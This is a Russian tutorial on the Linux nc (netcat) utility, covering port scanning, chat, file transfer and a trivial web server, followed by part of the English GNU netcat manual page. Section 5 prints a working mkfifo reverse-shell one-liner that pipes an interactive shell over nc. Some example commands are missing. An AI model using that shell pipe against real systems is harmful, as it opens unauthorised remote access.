Команда nc в Linux
Команда nc (netcat) служит для передачи и получения данных посредством протоколов TCP и UDP. Она не может похвастать большим набором функций, но при этом её достаточно для того, чтобы проверить соединение и провести несложную отладку.
Мы расмотрим несколько примеров, которые помогут понять то, как общаться посредством протокола TCP и как этому найти реальное прменение, вроде обмена файлами. Помимо этого не забудем упомянуть о более подходящих командах, всё же nc успела устареть.
Синтаксис и опции nc
$ nc -параметры адрес порт(ы)
Часть параметров указывается с уточняющими значениями, а часть без них. Вот список наиболее востребованных параметров:
- -6 – использовать протокол IPv6. По умолчанию используется параметр -4 и IPv4 соответственно;
- -h – вывести справку со списком доступных параметров;
- -i задержка – добавить задержку между отправкой строк или сканированием портов. Задаётся в секундах;
- -l – режим прослушивания. Используется с указанием порта;
- -N – закрыть соединение при достижении конца файла при его отправке;
- -n – Работать с IP-адресами напрямую, не задействуя DNS, также отключить поиск портов;
- -Pимя_пользователя – указать имя пользователя для подключения к прокси;
- -x адрес:порт – указать адрес и порт для подключения к прокси;
- -p порт – указать номер порта. В большинстве случаев порт считывается без указания параметра;
- -U – использовать сокет домена UNIX (для межпроцессного взаимодействия);
- -u – использовать протокол UDP, по умолчанию используется TСP;
- -v – подробный режим. Используется при сканировании портов;
- -W количество_пакетов – закрыть соединение после получения определённого количества пакетов;
- -w таймер – включить таймер для ограничения времени соединения. Задаётся в секундах;
- -z – отключить отправку данных. Используется при сканировании портов.
Примеры использования nc
1. Проверка порта
Проверка портов – это одно из основных применений команды nc. Для этого достаточно использовать два параметра -vz, указать адрес и порт. Помимо этого, вы можете указать диапазон адресов, но в этом случае лучше отсеять только открытые порты с помощью команды grep. В примере проверим порты адреса локальной сети:
nc -vz 192.168.31.247 1-1000 2>&1 | grep succeeded
Аналогичным способом можно просканировать порты UDP, добавив параметр -u:
nc -vzu 192.168.31.247 1-1000 2>&1 | grep succeeded
Обращаем ваше внимание на отличие между TCP и UDP. UDP порты всегда доступны.
2. Прослушивание порта
Для того, чтобы прослушивать порт используйте параметр -l. В общем случае этого достаточно, но можете включить подробный режим:
Напомним, что при использовании протокола TСP порт должен быть в свободен, в противном случае вы увидите ошибку: Already in use. Также стоит отметить, что не все порты могут использовать обычные пользователи, например, 80 порт (HTTP) мало того, что скорее всего окажется занят другим процессом, так ещё и потребует прав суперпользователя.
3. Чат и обмен файлами
Ещё одной полезной функцией команды nc является обмен данными. Давайте рассмотрим простейший пример – текстовый чат. Для того, чтобы запустить чат на одном компьютере запускаем утилиту в режиме прослушивания порта:
На другом компьютере потребуется указать адрес первого компьютера и тот же самый порт. Также не забудьте проверить, что порт открыт:
Из этого примера видно, что таким способом можно как отправлять, так и получать сообщения. Из этого вытекает ещё одно применение команды – обмен файлами. Действуем по аналогичному сценарию с тем лишь отличием, что вывод перенаправим в файл, в нашем случае paste.txt:
На другом компьютере вводом будет служить файл copy.txt. Не лишним будет использовать параметр -N, чтобы после передачи файла закрыть соединение:
Для передачи файлов важно соблюсти последовательность, сначала открыть прослушивание и лишь потом отправлять файл.
Команда nc – это вполне рабочий, но далеко не самый лучший способ передачи файлов. Ранее мы рассматривали и другие способы передачи файлов, с ними вы сможете отслеживать прогресс передачи файла, а в ряде случаев даже возобновить процесс.
3. Простой веб-сервер
Так как команда nc работает с протоколом TСP, то c её помощью можно как отправлять, так и получать запросы HTTP, а это значит, что утилита может стать простейшим веб-сервером. Конечно, ничего сложнее страницы-заглушки у вас не получится запустить, но зато эта операция практически не отнимет времени, к тому же для этого не потребуется что-либо устанавливать.
В нашем примере мы сформируем ответ HTTP с файлом index.html. Если же говорить о самой команде np, то не лишним будет установить таймер параметром -w 1, чтобы разорвать соединение, если этого не сделает браузер:
while true; do echo -e «HTTP/1.1 200 OK\n\n$(cat index.html)» | nc -l -w 1 -p 8080; done
Для получения данных с сайта вы можете сформировать запрос и отправить его на советующий адрес и порт. Но такой способ довольно сложный, поэтому гораздо лучше воспользоваться более подходящей командой curl.
5. Удалённая оболочка
Если вспомнить то, как мы делали чат, может возникнуть ещё одна идея – удалённый доступ к оболочке компьютера. Ранее утилита nc имела несколько параметров для открытия доступа к терминалу. Параметр -e уже давно убрали из утилиты, поэтому простого доступа к терминалу уже не будет. Безопасность самого приложения стала выше, но оно по-прежнему может работать в связке с другими.
Покажем подключение с помощью именованного канала mkfifo. Но сначала запустим прослушивание порта на том компьютере, на котором будем получать доступ:
Теперь перейдём непосредственно к команде для открытия терминала. Сначала удалим старый именованный канал (rm /tmp/f), на его месте создадим новый (mkfifo /tmp/f), прочитаем его содержимое (cat /tmp/f), а на его вывод отправим команду оболочки (sh -i 2>&1). После этого останется запустить nc с выводом в наш именованный канал (nc 0.0.0.0 8080 >/tmp/f):
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 0.0.0.0 8080 >/tmp/f
Надо понимать, что, по сути, это один из способов взлома, однако, он может быть полезен в том случае, если возникли проблем с ssh. Для того, чтобы предотвратить атаку настраивайте политику безопасности и межсетевой экран.
Выводы
Команда Netcat – это довольно старая программа, её основная задача – проверка портов. Если же говорить именно о сканировании сети, то nmap имеет гораздо больше функций. Зато с помощью nc можно организовать простейший обмен сообщениями типа клиент-сервер.
В качестве удалённой оболочки использовать nc также можно, но на самом деле способов подключения, помимо ssh, довольно много, есть даже шпаргалки и целые сайты, так что не забывайте проверять то, что вы вводите в терминале сервера.
Обнаружили ошибку в тексте? Сообщите мне об этом. Выделите текст с ошибкой и нажмите Ctrl+Enter.
DESCRIPTION
Netcat is a simple Unix utility which reads and writes data across network connections, using TCP or UDP protocol. It is designed to be a reliable «back-end» tool that can be used directly or easily driven by other programs and scripts. At the same time, it is a feature-rich network debugging and exploration tool, since it can create almost any kind of connection you would need and has several interesting built-in capabilities. Netcat, or «nc» as the original program was named, should have been supplied long ago as another one of those cryptic but standard Unix tools.
Netcat has three main modes of functionality. These are the connect mode, the listen mode, and the tunnel mode.
The most common mode is the connect mode, which for example allows the output of a locally called command to be redirected for example to a remote netcat listening or to any other kind of daemon waiting for a connection.
On the other hand, the listen mode can be used to obtain some kind of stream of data from a remote site.
The most new feature is the tunnel mode, which is a powerful and reliable mode that allows tunneling a remote site towards any other remote site, allowing to specify for example from which interface create the connection and from which port.
OPTIONS
Basic Startup Options
-V —version Display the version of netcat and exit. -h —help Print a help message describing most common netcat’s command-line switches and a short description. -v —verbose Prints status messages, usually needed for using netcat as user front-end. All messages are printed to stderr in order not to affect the data stream.
Use this option double to get more messages.
Protocol and Interface Options
-t —tcp Selects the TCP protocol, this is the default. It may be useful (see Tunnel Mode) to specify this option after for example the UDP option in order to allow a cross-protocol bridge between TCP and UDP. -u —udp Selects the UDP protocol. See the —tcp option. -p NUM —local-port=NUM Selects the local port. In listen and tunnel mode, it specifies which port to use for listening, while in connect mode it specifies the source port (the port from which originating the connection).
If this option is not specified, the OS will assign a random available port.
-s ADDRESS —source=ADDRESS Specifies the source address used for creating sockets. In listen mode and tunnel mode this switch specifies the bound address, and it is generally a good idea not to specify this, which causes netcat to bind to a generic interface. In the connect mode, this switch is used to specify the source address for connecting to the outside world. Again, if it’s not specified a proper address for the destination route will be used. -P NUM —tunnel-port=NUM Same as —port, but affects only the connect phase (thus this option has no effect in listen mode). This switch is useful in tunnel mode for specifying the source port for the connecting socket. -S ADDRESS —tunnel-source=ADDRESS Same as —source, but affects only the connect phase (thus this has no effects in listen mode). This switch is useful in tunnel mode for specifying the source address for the connecting socket.
-i SECS —interval SECS sets the buffering output delay time. This affects all the current modes and makes the connection sock to buffer outgoing data. This means that in tunnel mode everything received from the listening socket is buffered for the connect socket. -n —dont-resolve Don’t do DNS lookups on any of the specified addresses or hostnames, or names of port numbers from /etc/services. -r —randomize Randomizes the target remote ports ranges. If more than one range is specified it will randomize the ports in the whole global range. -w —wait=SECS Specifies the starting inactivity delay after which netcat will exit with an error status. In connect mode and in tunnel mode this specifies the timeout for the connecting socket, while in listen mode it specifies the time to wait for a VALID incoming connection (see listen mode). -T —telnet Answers the telnet codes as described in RFC0854. This makes possible to use netcat to script telnet sessions. The incoming telnet codes are parsed inside the receiving queue and are stripped off before forwarding the data as they were never received, so the application doesn’t have to parse the codes itself (this behaviour can be disabled at compile time with —enable-oldtelnet or with —enable-compat). -z —zero Sets the zero I/O flag for the selected mode. In connect mode it means that as soon as the port is open it is immediately shutdown and closed. This may be useful for probing or scanning (even if there are faster portscanners out there, but this may be useful for scripting purposes). In listen mode, it makes netcat refusing all the incoming connections thus running in timeout (if set), or waiting forever. In both cases, no data is transfered.
This option is incompatible with the tunnel mode.
SEE ALSO
GNU Info entry for netcat.
AUTHOR
Originally written by Giovanni Giacobbi .
COPYRIGHT
Copyright (c) 2002 — 2004 Giovanni Giacobbi
Permission is granted to make and distribute verbatim copies of this manual provided the copyright notice and this permission notice are preserved on all copies.
Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.1 or any later version published by the Free Software Foundation; with the Invariant Sections being «GNU General Public License» and «GNU Free Documentation License», with no Front-Cover Texts, and with no Back-Cover Texts. A copy of the license is included in the section entitled «GNU Free Documentation License».
Package name: extra/gnu-netcat Version: 0.7.1-9 Upstream: http://netcat.sourceforge.net/ Licenses: GPL Manuals: /listing/extra/gnu-netcat/ Table of contents
Powered by archmanweb, using mandoc for the conversion of manual pages.
The website is available under the terms of the GPL-3.0 license, except for the contents of the manual pages, which have their own license specified in the corresponding Arch Linux package.